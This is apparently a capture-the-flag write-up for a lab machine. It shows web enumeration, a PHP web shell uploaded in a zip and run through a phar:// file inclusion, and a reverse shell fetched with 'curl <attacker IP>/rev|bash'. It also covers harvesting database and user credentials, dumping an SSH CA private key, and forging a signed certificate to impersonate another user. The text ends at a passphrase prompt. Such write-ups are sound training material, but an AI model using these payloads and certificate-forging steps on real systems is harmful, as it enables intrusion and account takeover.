Resource

Recon

nmap_scan.log|h-50%_styled
└─$ grep ssg /etc/hosts
10.10.11.27     ssg.htb     itrc.ssg.htb     signserv.ssg.htb

HTTP (80)

Writeup.png

Enumerate meanwhile:

└─$ feroxbuster -u http://itrc.ssg.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,php,txt
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://itrc.ssg.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [bak, php, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       13l       25w      367c http://itrc.ssg.htb/assets/js/flash.js
200      GET      155l      300w     2453c http://itrc.ssg.htb/assets/css/main.css
200      GET        0l        0w  1074912c http://itrc.ssg.htb/assets/img/helpdesk.png
200      GET       39l      207w     3120c http://itrc.ssg.htb/
200      GET        3l        5w       46c http://itrc.ssg.htb/admin.php
301      GET        9l       28w      310c http://itrc.ssg.htb/api => http://itrc.ssg.htb/api/
301      GET        9l       28w      313c http://itrc.ssg.htb/assets => http://itrc.ssg.htb/assets/
500      GET        0l        0w        0c http://itrc.ssg.htb/api/admin.php
200      GET        3l        5w       46c http://itrc.ssg.htb/dashboard.php
200      GET        0l        0w        0c http://itrc.ssg.htb/db.php
200      GET        0l        0w        0c http://itrc.ssg.htb/hello.php
301      GET        9l       28w      317c http://itrc.ssg.htb/assets/css => http://itrc.ssg.htb/assets/css/
200      GET        5l      110w      844c http://itrc.ssg.htb/home.php
200      GET       39l      207w     3120c http://itrc.ssg.htb/index.php
302      GET        0l        0w        0c http://itrc.ssg.htb/logout.php => index.php
302      GET        0l        0w        0c http://itrc.ssg.htb/api/login.php => http://itrc.ssg.htb/
200      GET       10l       31w      433c http://itrc.ssg.htb/login.php
200      GET        0l        0w        0c http://itrc.ssg.htb/o.php
301      GET        9l       28w      317c http://itrc.ssg.htb/assets/img => http://itrc.ssg.htb/assets/img/
301      GET        9l       28w      316c http://itrc.ssg.htb/assets/js => http://itrc.ssg.htb/assets/js/
302      GET        0l        0w        0c http://itrc.ssg.htb/api/register.php => http://itrc.ssg.htb/
200      GET       11l       40w      566c http://itrc.ssg.htb/register.php
200      GET        3l        5w       46c http://itrc.ssg.htb/ticket.php
301      GET        9l       28w      314c http://itrc.ssg.htb/uploads => http://itrc.ssg.htb/uploads/
200      GET      155l      300w     2453c http://itrc.ssg.htb/assets/css/main
200      GET       72l      231w     2380c http://itrc.ssg.htb/assets/js/filter
200      GET       13l       25w      367c http://itrc.ssg.htb/assets/js/flash
200      GET        0l        0w  1074912c http://itrc.ssg.htb/assets/img/helpdesk
200      GET        0l        0w  1378004c http://itrc.ssg.htb/assets/img/office
200      GET        0l        0w        0c http://itrc.ssg.htb/uploads/shell.php
200      GET        0l        0w        0c http://itrc.ssg.htb/uploads/test.php
[####################] - 6m    132520/132520  0s      found:31      errors:916
[####################] - 3m     18912/18912   97/s    http://itrc.ssg.htb/
[####################] - 4m     18912/18912   82/s    http://itrc.ssg.htb/api/
[####################] - 4m     18912/18912   80/s    http://itrc.ssg.htb/assets/
[####################] - 4m     18912/18912   73/s    http://itrc.ssg.htb/assets/js/
[####################] - 3m     18912/18912   97/s    http://itrc.ssg.htb/uploads/

Dashboard

Register, Creds: test02:test02

Writeup-1.png

Ticket creation doesn't have any description, we can create Ticket with title, description and upload zip file.

We can try accessing admin.php:

Writeup-2.png

Remote admin username: zzinter

Admin Panel

Ping tool works:

Writeup-3.png

Command injection unsuccessful.

Writeup-4.png

Everything seemed sanitized and nothing was going well 🤔

The navigation of PHP via page value is always suspicious (http://itrc.ssg.htb/?page=<PAGE>). This means the pages are included, not loaded separately. Meaning we can achieve LFI, php files are loaded without any hassle, but if we try to include files with file:// protocol it fails right away most probably due to filters.

PHP has many wrappers and one of them is ZIP, I tried uploading ZOD or empty zip, but they returned 404 when going to uploaded file. If uploaded normally then then file is accessible normally.

PayloadsAllTheThings/File Inclusion> wrapper-zip

LFI

echo '<?PHP echo system($_REQUEST[0]); ?>' > t.php
zip t.zip t.php

Trying zip payloads yielded no success:

http://itrc.ssg.htb/?page=zip://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=
http://itrc.ssg.htb/?page=zip:///var/www/html/uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=
http://itrc.ssg.htb/?page=zip:///var/www/itrc/uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=

Trying the phar payload worked!

http://itrc.ssg.htb/?page=phar://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip/t&0=id&x=
Writeup-5.png

Reverse Shell

Get the reverse shell:

http://itrc.ssg.htb/?page=phar://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip/t&0=curl%2010.10.14.54/rev|bash&x=
Writeup-6.png
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.27:43394.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ ls -alh
ls -alh
total 108K
drwxr-xr-x 1 www-data www-data 4.0K Feb 19 18:13 .
drwxr-xr-x 1 www-data www-data 4.0K Jul 25 11:28 ..
-rw-rw-r-- 1 www-data www-data 4.3K Jan 24  2024 admin.php
drwxrwxr-x 1 www-data www-data 4.0K Feb 26 23:18 api
drwxrwxr-x 1 www-data www-data 4.0K Jan 22  2024 assets
-rw-rw-r-- 1 www-data www-data  979 Jan 23  2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data  344 Jan 24  2024 dashboard.php
-rw-rw-r-- 1 www-data www-data  308 Jan 22  2024 db.php
-rw-rw-r-- 1 www-data www-data  746 Jan 24  2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data  982 Jan 24  2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1.9K Jan 24  2024 header.inc.php
-rw-rw-r-- 1 www-data www-data  844 Jan 22  2024 home.php
-rw-rw-r-- 1 www-data www-data  368 Feb 19 18:14 index.php
-rw-rw-r-- 1 www-data www-data  105 Feb 19 18:14 loggedin.php
-rw-rw-r-- 1 www-data www-data  433 Jan 23  2024 login.php
-rw-rw-r-- 1 www-data www-data   73 Jan 22  2024 logout.php
-rw-rw-r-- 1 www-data www-data  566 Jan 23  2024 register.php
-rw-rw-r-- 1 www-data www-data 2.2K Feb  6 16:54 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4.9K Feb  6 17:09 ticket.php
-rw-rw-r-- 1 www-data www-data 1.4K Jan 24  2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4.0K Aug  5 13:02 uploads
www-data@itrc:/var/www/itrc$ cat db.php
cat db.php
<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}
...
                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
                ╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root           1  0.0  0.0   3924  2800 ?        Ss   12:48   0:00 /bin/bash /opt/startup.sh
msainri+      38  0.0  0.1  16824  7136 ?        S    12:48   0:00  |   _ sshd: msainristil@pts/0
msainri+      39  0.0  0.0   4720  3628 pts/0    Ss+  12:48   0:00  |       _ -bash
msainri+      99  1.6  0.3 1234244 14036 pts/0   Sl   12:52   0:43  |           _ ./chisel client 10.10.14.66:8001 R:1080:socks
msainri+      59  0.0  0.1  16136  6380 ?        S    12:50   0:00  |   _ sshd: msainristil@pts/1
msainri+      60  0.0  0.0   4188  3364 pts/1    Ss   12:50   0:00  |       _ -bash
msainri+      69  0.0  0.1  11324  7848 pts/1    S+   12:51   0:00  |           _ ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost
root          70  0.0  0.2  16240 10400 ?        Ss   12:51   0:00  _ sshd: root@pts/2
root          76  0.0  0.0   4188  3488 pts/2    Ss   12:51   0:00  |   _ -bash
root         149  0.0  0.2  11192  8108 pts/2    S+   12:55   0:00  |       _ ssh -o CertificateFile=key-cert.pub -i key support@10.10.11.27 -p 2222
msainri+     172  0.0  0.1  16136  6468 ?        S    12:58   0:00  |   _ sshd: msainristil@pts/3
msainri+     173  0.0  0.0   4188  3484 pts/3    Ss+  12:58   0:00  |       _ -bash
msainri+     407  0.0  0.1  16136  6512 ?        S    13:28   0:00  |   _ sshd: msainristil@pts/6
msainri+     408  0.0  0.0   4608  3612 pts/6    Ss+  13:28   0:00  |       _ -bash
root         451  0.0  0.2  16240 10032 ?        Ss   13:31   0:00  _ sshd: root@pts/7
root         457  0.0  0.0   4188  3436 pts/7    Ss+  13:31   0:00  |   _ -bash
zzinter      508  0.0  0.1  16240  6300 ?        S    13:35   0:00  |   _ sshd: zzinter@pts/8
zzinter      509  0.0  0.0   4564  3576 pts/8    Ss+  13:35   0:00  |       _ -bash
msainri+     533  0.0  0.1  16136  6556 ?        S    13:36   0:00      _ sshd: msainristil@pts/4
msainri+     534  0.0  0.0   4564  3732 pts/4    Ss+  13:36   0:00          _ -bash
...
╔══════════╣ Analyzing PHP Sessions Files (limit 70)
/var/lib/php/sessions Not Found
-rw------- 1 www-data www-data 52 Aug  5 13:20 /tmp/sess_18a55c49a77b75310b5155cbab597ac3
username|s:8:"tititoto";role|s:4:"user";id|s:2:"17";
-rw------- 1 www-data www-data 48 Aug  5 13:33 /tmp/sess_18d2452cbee14dfc9258ac2b91cd55ac
username|s:4:"user";role|s:4:"user";id|s:2:"16";
-rw------- 1 www-data www-data 49 Aug  5 13:31 /tmp/sess_48183d74100da76fb14516e6d6848911
username|s:5:"admin";role|s:4:"user";id|s:2:"14";
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.11:46497        0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
www-data@itrc:/var/www/itrc$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 itrc:54372              resource-db.docker:3306 TIME_WAIT
tcp        1      0 itrc:80                 signserv.ssg.htb:52132  CLOSE_WAIT
tcp        0      0 itrc:80                 signserv.ssg.htb:55522  TIME_WAIT
tcp        0      0 itrc:80                 signserv.ssg.htb:55368  TIME_WAIT
tcp        0      0 itrc:22                 10.10.14.66:49102       ESTABLISHED
tcp        1      0 itrc:80                 signserv.ssg.htb:56894  CLOSE_WAIT
tcp        0     84 itrc:50472              10.10.14.66:8001        ESTABLISHED
tcp        0      0 localhost:22            localhost:44908         ESTABLISHED
tcp        0      0 itrc:22                 10.10.14.132:51528      ESTABLISHED
tcp        0     36 itrc:22                 10.10.14.36:58378       ESTABLISHED
tcp        0      0 itrc:80                 signserv.ssg.htb:55512  TIME_WAIT
tcp        0      0 itrc:22                 10.10.14.77:41410       ESTABLISHED
tcp        0    126 itrc:39052              10.10.14.54:4444        ESTABLISHED
tcp        0      0 itrc:22                 10.10.14.40:47890       ESTABLISHED
tcp        0      0 itrc:34972              10.10.14.36:1337        ESTABLISHED
tcp        1      0 itrc:80                 signserv.ssg.htb:56640  CLOSE_WAIT
tcp        0      0 itrc:42958              10.10.11.27:2222        ESTABLISHED
tcp        1      0 itrc:80                 signserv.ssg.htb:52128  CLOSE_WAIT
tcp        0      1 itrc:45020              34.160.90.233:443       SYN_SENT
tcp        0      0 localhost:44908         localhost:22            ESTABLISHED
tcp        0      1 itrc:52162              34.160.90.233:443       SYN_SENT
tcp        0      1 itrc:41222              99.81.43.101:443        SYN_SENT

Linpeas didn't show full network, running netstat shows different results

I still wasn't able to connect to the database...

www-data@itrc:/var/www/itrc/uploads$ cat /etc/hosts
127.0.0.1	localhost
...
172.223.0.3	itrc
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)'
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -h 127.0.0.1 -P 54372 -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to server on '127.0.0.1' (115)'
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -h 172.223.0.3 -P 54372 -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to server on '172.223.0.3' (115)

/uploads directory had other zip files, worth checking out:

www-data@itrc:/var/www/itrc/uploads$ for z in $(ls *.zip); do echo $z; zip -sf ./$z; done;
...
c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
Archive contains:
  itrc.ssg.htb.har
Total 1 entries (1903087 bytes)
...
e8c6575573384aeeab4d093cc99c7e5927614185.zip
Archive contains:
  id_rsa.pub
Total 1 entries (569 bytes)
eb65074fe37671509f24d1652a44944be61e4360.zip
Archive contains:
  id_ed25519.pub
Total 1 entries (99 bytes)
...
www-data@itrc:/var/www/itrc/uploads$ unzip e8c6575573384aeeab4d093cc99c7e5927614185.zip 
www-data@itrc:/var/www/itrc/uploads$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3uzEY/OePxDq0/i73bYN2wc60AXn0UFm8WEqfu5fYSao8vZK/Yop80NAXA/x2JHeK74nC8feM9+u004NSjmj5tC8I8C6ywF0ZPu9Bym0RC/Nm8kOGDmrNWqV03owO5XzHBu5u4P1WdL7ge4JAmB0lE7eNv0FJATxQ4hHZghtQvOu3qWUqEbyjzkKrMbKuF2KPIiH3Ep6dWrbKjJ9MIUATJDwNwK6h5x10s/G6aQ8jkPKe0s1SucovFb9b3C/PiYmjlMoAVqoMF8mrQ3NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb 
www-data@itrc:/var/www/itrc/uploads$ unzip eb65074fe37671509f24d1652a44944be61e4360.zip
Archive:  eb65074fe37671509f24d1652a44944be61e4360.zip
  inflating: id_ed25519.pub
www-data@itrc:/var/www/itrc/uploads$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb
www-data@itrc:/var/www/itrc/uploads$ unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
www-data@itrc:/var/www/itrc/uploads$ file itrc.ssg.htb.har
itrc.ssg.htb.har: JSON text data
www-data@itrc:/var/www/itrc/uploads$ head itrc.ssg.htb.har
{
  "log": {
    "version": "1.2",
    "creator": {
      "name": "WebInspector",
      "version": "537.36"
    },
    "pages": [
      {
        "startedDateTime": "2024-02-06T21:34:02.483Z",
www-data@itrc:/var/www/itrc/uploads$ grep pass itrc.ssg.htb.har -in | grep -v bootstrap
2091:            "text": "user=msainristil&pass=82yards2closeit",
2098:                "name": "pass",

The file was some kind of automated actions log, PHPSESSID was also used meaning there was an account, grep for pass and we pwned msainristil user.

SSH (22)

We are able to SSH into port 22.

Creds: msainristil:82yards2closeit

└─$ ssh msainristil@10.10.11.27
msainristil@10.10.11.27s password: 82yards2closeit
msainristil@itrc:~$ ls -alh
total 36K
drwx------ 1 msainristil msainristil 4.0K Aug  5 12:51 .
drwxr-xr-x 1 root        root        4.0K Jul 23 14:22 ..
lrwxrwxrwx 1 root        root           9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3.5K Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29 19:40 .profile
drwx------ 2 msainristil msainristil 4.0K Aug  5 12:51 .ssh
drwxr-xr-x 1 msainristil msainristil 4.0K Aug  5 13:34 decommission_old_ca
msainristil@itrc:~$ ls -alh decommission_old_ca/
total 12K
drwxr-xr-x 1 msainristil msainristil 4.0K Aug  5 13:34 .
drwx------ 1 msainristil msainristil 4.0K Aug  5 12:51 ..
msainristil@itrc:~$ ps aux | grep cert -in --color=auto
15:msainri+      69  0.0  0.1  11324  7848 pts/1    S+   12:51   0:00 ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost
19:root         149  0.0  0.2  11192  8108 pts/2    S+   12:55   0:00 ssh -o CertificateFile=key-cert.pub -i key support@10.10.11.27 -p 2222
47:zzinter    10636  0.0  0.1  10932  7276 pts/4    S+   13:40   0:00 ssh zzinter@172.223.0.1 CertificateFile=zzinter-cert.pub -i /home/zzinter/.ssh/id_rsa -p 2222
68:msainri+   20528  0.0  0.0   3324  1568 pts/11   S+   14:17   0:00 grep cert -in --color=auto

FastAPI

There's something going on with Certificate Authorities and in netstat output we saw another host on system signserv.ssg.htb

└─$ feroxbuster -u http://signserv.ssg.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,php,txt
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://signserv.ssg.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [bak, php, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       22c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
307      GET        0l        0w        0c http://signserv.ssg.htb/docs/ => http://signserv.ssg.htb/docs
200      GET       81l      240w     3012c http://signserv.ssg.htb/docs/oauth2-redirect
200      GET        1l        5w     1449c http://signserv.ssg.htb/openapi.json
200      GET       31l       62w      939c http://signserv.ssg.htb/docs
[############>-------] - 36s    11692/18932   0s      found:4       errors:0
[####################] - 62s    18932/18932   0s      found:4       errors:0
[####################] - 61s    18912/18912   310/s   http://signserv.ssg.htb/ 
Writeup-7.png

I didn't know what to do with the service so I left it for now.

SSH CA Certificates

After few hours I returned to the box and found files in decommission_old_ca that should have been there, but wasn't 💀 Probably some MF deleted them..

msainristil@itrc:~/decommission_old_ca$ ls -alh
total 32K
drwxr-xr-x 1 msainristil msainristil 4.0K Aug  5 19:10 .
drwx------ 1 msainristil msainristil 4.0K Aug  5 18:57 ..
-rw------- 1 msainristil msainristil 2.6K Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf ca-itrc
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf ca-itrc.pub
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)

14.3. Using OpenSSH Certificate Authentication14.3.3. Creating SSH CA Certificate Signing Keys

man page also has solid explanations too!

└─$ man ssh-keygen
...
CERTIFICATES
       ssh-keygen  supports signing of keys to produce certificates that may be used for user or host authentication.  Certificates consist of a public key, some identity information, zero or more princi‐
       pal (user or host) names and a set of options that are signed by a Certification Authority (CA) key.  Clients or servers may then trust only the CA key and verify its  signature  on  a  certificate
       rather than trusting many user/host keys.  Note that OpenSSH certificates are a different, and much simpler, format to the X.509 certificates used in ssl(8).

       ssh-keygen  supports  two  types  of certificates: user and host.  User certificates authenticate users to servers, whereas host certificates authenticate server hosts to users.  To generate a user
       certificate:

             $ ssh-keygen -s /path/to/ca_key -I key_id /path/to/user_key.pub

       The resultant certificate will be placed in /path/to/user_key-cert.pub.
	   
	   ...

       Certificates may be limited to be valid for a set of principal (user/host) names.  By default, generated certificates are valid for all users or hosts.  To generate a certificate  for  a  specified
       set of principals:

             $ ssh-keygen -s ca_key -I key_id -n user1,user2 user_key.pub
             $ ssh-keygen -s ca_key -I key_id -h -n host.domain host_key.pub
...

Create certificate, sign the keys and authenticate.

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -f letmein -P 'Password123$'
Generating public/private rsa key pair.
Your identification has been saved in letmein
Your public key has been saved in letmein.pub
The key fingerprint is:
SHA256:CRwIGa+KFnzqtlIIC1v2YWZXSSdlZuAe40kUtruZ0SE msainristil@itrc
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 valid forever
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf letmein.pub 
# Sign key with certificate
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 valid forever
msainristil@itrc:~/decommission_old_ca$ ls -Alh
total 32K
-rw------- 1 msainristil msainristil 2.6K Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub 
-rw------- 1 msainristil msainristil 2.6K Aug  5 20:13 letmein
-rw------- 1 msainristil msainristil 2.0K Aug  5 20:19 letmein-cert.pub # <--
-rw-r--r-- 1 msainristil msainristil  570 Aug  5 20:13 letmein.pub
msainristil@itrc:~/decommission_old_ca$ chmod 600 letmein-cert.pub
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=letmein-cert.pub -i letmein zzinter@localhost
zzinter@localhosts password: ????

The attempt was unsuccessful because SSH asks for a password and we don't have it. Looking into ssh-keygen manual in Certificates section examples I saw that we can specify principles which are users or hosts with -n, specify that user should by zzinter:

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 for zzinter valid forever
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=letmein-cert.pub -i letmein zzinter@localhost
Enter passphrase for key 'letmein':
